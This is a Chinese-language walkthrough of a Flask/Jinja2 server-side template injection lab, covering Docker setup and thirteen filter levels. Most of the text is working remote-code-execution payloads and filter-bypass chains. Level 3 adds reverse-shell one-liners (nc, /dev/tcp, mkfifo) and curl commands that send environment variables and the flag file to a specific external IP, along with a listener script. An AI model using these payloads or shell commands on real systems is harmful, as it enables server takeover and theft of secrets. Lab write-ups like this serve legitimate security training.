
Flask-SSTI-lab通关
前言:
Flask SSTI(Server-Side Template Injection)是指在 Flask 的模板引擎 Jinja2 中,用户输入未经过滤地被渲染执行,从而导致攻击者可以构造恶意模板表达式并在服务器上执行任意代码或读取敏感数据。
Flask 使用的模板引擎是 Jinja2,它允许通过 {{ 变量 }} 或 {% 逻辑语句 %} 插入变量或执行逻辑。如果开发者将用户输入直接传入 render_template_string 等函数,就可能引发 SSTI 漏洞。
搭靶场
在线靶场
源码
改requirements.txt
Flask==1.1.1
Jinja2==2.11.3
MarkupSafe==2.0.1
itsdangerous==1.1.0
Werkzeug==1.0.1
gunicorn==20.0.4
Dockerfile
# 使用官方 Python 镜像
FROM python:3.8-slim
RUN apt update && apt install -y curl iputils-ping dnsutils netcat-traditional && rm -rf /var/lib/apt/lists/*
# 设置工作目录
WORKDIR /app
# 拷贝项目文件
COPY . /app
# 安装依赖
RUN pip install --no-cache-dir -r requirements.txt
# 设置环境变量以禁用缓冲
ENV PYTHONUNBUFFERED=1
ENV FLAG=SSTI{this_is_your_flag}
# 启动命令,使用 gunicorn 提升并发能力
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "app:app"]
构建并运行
docker build -t flask-ssti .
docker run -d -p 9998:5000 --name ssti-vuln flask-ssti
sudo ufw allow 9998
注入方法
魔术方法
🔍 直接利用框架注入对象
比如
{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').environ }}
{{ lipsum.__globals__.os.popen('env').read() }}
cycler, self, lipsum
还有一些比如
url_for, config, namespace
🔍 基类回溯子类链
class 是什么?
Python 中,所有东西都是对象。包括字符串、数字、函数……而每个对象都有一个 class 属性,用来表示它是什么“类”(也就是它的类型)。
{{ ''.__class__}}
输出<class 'str'>
mro 是什么?
mro 全称是 Method Resolution Order(方法解析顺序),是 Python 用来确定“类从哪儿继承来的”顺序的属性。
{{''.__class__.__mro__}}
输出(<class 'str'>, <class 'object'>)
这表示:
str
是字符串的类它继承自
object
类
subclasses()是什么?
Python 内部提供的一个函数,用于获取一个类的所有子类。
object.__subclasses__()
输出
[<class 'type'>, <class 'dict'>,<class 'subprocess.Popen'>, ...]
这个列表包含了上千个类,其中很多都能被我们用来干坏事(比如执行命令或读取文件)
我们通常这样写:
{{ ''.__class__.__mro__[1].__subclasses__() }}
来获取所有子类
下一步
法一、遍历但不获取索引
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
{% endif %}
{% endfor %}
{{ ... }} 是表达式语法用于输出值,你放入其中的内容会被计算并显示出来:
{% ... %} 是语句语法用于控制逻辑结构,如 for 循环、if 判断,不会直接输出任何值
法二、获取索引
上一步中我们已经拿到了所有子类,然后计算出索引,从而使用这个类
{{ ''.__class__.__mro__[1].__subclasses__()[index] }}
举例:[409]
可能就是 <class 'subprocess.Popen'>
(不同环境 index 会不同)
payload就可以是{{ ''.__class__.__mro__[1].__subclasses__()[409]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
假设找到了 subprocess.Popen
的下标是 408
,就可以这样写:
"cat flag"
是要执行的命令shell=True
表示用 shell 执行(可以更强大)stdout=-1
表示捕获输出.communicate()[0].decode()
用于拿到执行结果,觉得麻烦也可以直接写.communicate()
那么问题来了,这么多class怎么计算这个索引呢?
观察到每一个class之间隔了一个逗号,我们只需要一个脚本把逗号变成换行符,再从IDE搜索就能直接看出索引是多少了
with open('raw.txt', 'r') as f:
input_str = f.read()
parts = [p.strip() for p in input_str.split(',')]
with open('rawed.txt', 'w') as f:
f.write('\n'.join(parts))
print("ok")
常用 SSTI 可利用类与用途对照表:
Level 1 No Waf
法一
{{ cycler.__init__.__globals__.os.popen('env').read() }}
法二
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
{% endif %}
{% endfor %}
cat flag
换成printenv FLAG
就是打印名为FLAG
的环境变量,换成env
就是打印所有环境变量
先通过{{ ''.__class__.__mro__[1].__subclasses__()}}
拿所有类,像这样[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,...,]
然后通过下面Q里面的的脚本获取索引
搜索到Popen在第418行,那么索引就是417
直接 {{ ''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
也可以直接爆破,把数字直接遍历即可,看响应的长度
Level 2 Waf: {{
绕过 {{ 的策略:用 {% ... %} 实现
但是{% ... %}
标签用于执行代码但不输出结果
所以需要配合输出机制,比如加个print
和Level 1类似,只不过不用{{code}}
了,用{%print(code)%}
替代
法一
{% print(cycler.__init__.__globals__.os.popen('env').read()) %}
法二
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{% print(c('cat flag', shell=True, stdout=-1).communicate()[0].decode()) %}
{% endif %}
{% endfor %}
{% print(''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode()) %}
Level 3 Waf:no waf and blind
法一 反弹shell
nc ip port -e /bin/bash
bash -i >& /dev/tcp/ip/port 0>&1
mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &
直接这样就行了
{{ cycler.__init__.__globals__.os.popen("mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &").read() }}
法二 写到static目录
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]("cat flag > static/1.txt", shell=True, stdout=-1).communicate()[0].decode() }}
任选其一
{{ cycler.__init__.__globals__.os.popen("cat flag > static/1.txt").read() }}
去domain/static/1.txt
读就可以了
法三 curl或DNSLog外带
POST传参
在vps上开一个端口
nano post.py
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['POST'])
def recv():
print("🔥 Received form data:")
print(dict(request.form)) # ✅ 这是 curl -d 的数据所在位置
return 'OK'
app.run(host='0.0.0.0', port=8000)
python3 post.py
靶机:
{{ ''.__class__.__mro__[1].__subclasses__()[417]("printenv | curl -X POST -d @- http://120.79.195.212:8000", shell=True, stdout=-1).communicate()[0].decode() }}
GET传参(有长度限制)
vps上开监听端口python3 -m http.server 8000
{{ ''.__class__.__mro__[1].__subclasses__()[417]("curl http://120.79.195.212:8000?flagcat flag | base64", shell=True, stdout=-1).communicate()[0].decode() }}
flag=$(cat flag | base64)
也可以,没有反引号
这里要用base64编码,原因是
花括号在shell 中有特殊含义,被解释掉了
在 Bash(sh)中,{} 是一种 扩展语法(brace expansion)
比如:echo foo{1,2}
输出:foo1 foo2
解码即可
还可以直接把当前目录的flag文件发到vps
{{ ''.__class__.__mro__[1].__subclasses__()[294]("curl -X POST -d @flag http://120.79.195.212:8000", shell=True, stdout=-1).communicate()[0].decode() }}
DNSLog未成功
待完善
扩展:
上面Level 2的Waf是{{,所以用{%
Level 3无Waf但是无回显
将二者结合起来,有Waf的无回显就是
{% set x = cycler.__init__.__globals__.os.popen("mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &").read() %}
或者
{% print(cycler.__init__.__globals__.os.popen("mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &").read()) %}
Level 4
Waf:[ ]
法一
{{ cycler.__init__.__globals__.os.popen('env').read() }}
法二 使用 .__getitem__(1) 当做索引
因为 Python 中 obj[x] 实际上就是调用 obj.getitem(x)
Payload1:
{% for c in ''.__class__.__mro__.__getitem__(1).__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('cat flag', shell=True, stdout=-1).communicate() }}
{% endif %}
{% endfor %}
Payload2:
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(222)('cat flag', shell=True, stdout=-1).communicate() }}
索引222
依旧是找出来或者爆破出来
Level 5
Waf:\' "
直接用上面的payoad即可
Level 6
Waf:_
十六进制绕过
把_
换成\x5f
,然后用中括号把这些括起来(中括号替代的是.
的位置)
{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ cycler['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['os'].popen('env').read() }}
{{ lpsum.__globals__.os.popen('env').read() }}
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('env').read()}}
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__() }}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f']['\x5f\x5fgetitem\x5f\x5f'](1)'\x5f\x5fsubclasses\x5f\x5f' }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']() }}
{{ ''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
Unicode绕过
把上面的\x5f
换成\u005f
{{ cycler['\u005f\u005finit\u005f\u005f']['\u005f\u005fglobals\u005f\u005f']['os'].popen('env').read() }}
Level 7
Waf:.
用[]
代替.
{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ cycler['__init__']['__globals__']['os']['popen']('env')['read']() }}
{{ lipsum.__globals__.os.popen('env').read() }}
{{ lipsum['__globals__']['os']['popen']('env')['read']() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}
{{ ''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
{{ ''['__class__']['__mro__'][1]['__subclasses__']()[417]('cat flag', shell=True, stdout=-1)['communicate']()[0]['decode']() }}
Level 8
Waf:"class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"
上面的Level 7的payload加一点引号
{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ cycler['__in''it__']['__glo''bals__']['os']['po''pen']('env')['read']() }}
{{ lipsum.__globals__.os.popen('env').read() }}
{{ lipsum['__glo''bals__']['os']['po''pen']('env')['read']() }}
Level 9
Waf:0-9
{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ cycler.__init__.__globals__['config'] }}
{{ lipsum.__globals__.os.popen('env').read() }}
Level 10
Waf:set config = None 需要 get config
{{ url_for.__globals__['current_app'].config }}
{{ lipsum.__globals__['__builtins__']['__import__']('flask').current_app.config }}
{{ cycler.__init__.__globals__['__builtins__']['__import__']('flask').current_app.config }}
📊 上述三种paylaod对比
Level 11
Waf: '\'', '"', '+', 'request', '.', '[', ']'
可以在网上找到个模板
参考链接:
{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}
b.构造os
{%set b=dict(o=a,s=a)|join%}
c.构造popen
{%set c=dict(po=a,pen=a)|join%}
cmd.构造env
{%set cmd=dict(en=a,v=a)|join%}
d.构造read
{%set d=dict(re=a.ad=a)|join%}
e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%}
f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)%}
g.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
即
env
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(en=a,v=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
ls
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
我们逐层还原它:
lipsum | attr(a)
→ lipsum['__globals__']
| attr(e)(b)
→ ['__globals__'].__getitem__('os') → 等价于 ['__globals__']['os']
| attr(c)(cmd)
→ ['os'].popen('ls')
| attr(d)()
→ .read()
✅ 最终等价于:
{{ lipsum.__globals__['os'].popen('env').read() }}
但是如果要是cat flag
怎么办?
{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}
b.构造os
{%set b=dict(o=a,s=a)|join%}
c.构造popen
{%set c=dict(po=a,pen=a)|join%}
cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}
d.构造read
{%set d=dict(re=a,ad=a)|join%}
e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%}
f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)|join%}
ch.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}
chh.构造 chr 函数
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
即
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{%set f=dict(__buil=a,tins__=a)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
解释
attr()是干嘛的?
📘 基础语法
{{ object | attr('attribute_name') }}
等价于:object.attribute_name
✅ 举个例子:
{% set name = 'upper' %}
{{ 'hello' | attr(name)() }}
等价于:
'hello'.upper() → 'HELLO'
利用:
用 attr()
动态访问:{{ lipsum | attr('__globals__') | attr('__getitem__')('os') }}
等价于:
lipsum.__globals__['os']
🔥 构造 chr() 函数:动态生成字符
{% set chh = lipsum | attr(a) | attr(e)(f) | attr(e)(ch) %}
等价于 chh = lipsum.__globals__.__getitem__('__builtins__').__getitem__('chr')
此时 chh(32)
就等价于 chr(32) → ' '
,可以动态生成字符
{% set cmd = (
dict(ca=a, t=a) | join, # 'cat'
chh(32), # ' '
chh(47), # '/'
dict(ap=a, p=a) | join, # 'app'
chh(47), # '/'
dict(fl=a, ag=a) | join # 'flag'
) | join %}
✅ 最终执行链:
{{ lipsum
| attr(a) # '__globals__'
| attr(e)(b) # ['os']
| attr(c)(cmd) # .popen('cat /app/flag')
| attr(d)() # .read()
}}
等价于:
{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}
Level 12
Waf:'_', '.', '0-9', '\\', '\'', '"', '[', ']'
相比上一题
过滤了下划线和数字
先用这个列出字符
{{()|select|string|list}}
比如可能输出:
['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'e', 'c', '7', 'e', 'd', '9', '1', '6', 'd', '6', '0', '>']
找到下划线的索引,取出来,假设这里是24
然后使用这个代码拿到下划线
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(24)}}
✅ 核心原理:
()|select|string|list
生成字符列表(如['<','g','e','n','e','r','a','t','o','r'...]
)|attr("pop")
获取列表的pop方法(24)
弹出索引为24的字符(Python列表索引从0开始)
但是这里禁止了数字
所以用过滤器 | length 或者| count取到
这里用了24个a
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(numa)}}
用上关的payload进行修改
env
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xiahuaxian=()|select|string|list|attr(p)(numa)%}
{%set a=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xiahuaxian,xiahuaxian,dict(ge=a,titem=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set f=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=dict(en=a,v=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
cat /app/flag
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xiahuaxian=()|select|string|list|attr(p)(numa)%}
{%set a=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xiahuaxian,xiahuaxian,dict(ge=a,titem=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set f=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set kongge=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set xiexian=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(kongge),chh(xiexian),dict(ap=a,p=a)|join,chh(xiexian),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
Level 13
Waf:'_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']'
和上一关payload一样
{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xiahuaxian=()|select|string|list|attr(p)(numa)%}
{%set a=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xiahuaxian,xiahuaxian,dict(ge=a,titem=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set f=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set kongge=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set xiexian=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(kongge),chh(xiexian),dict(ap=a,p=a)|join,chh(xiexian),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}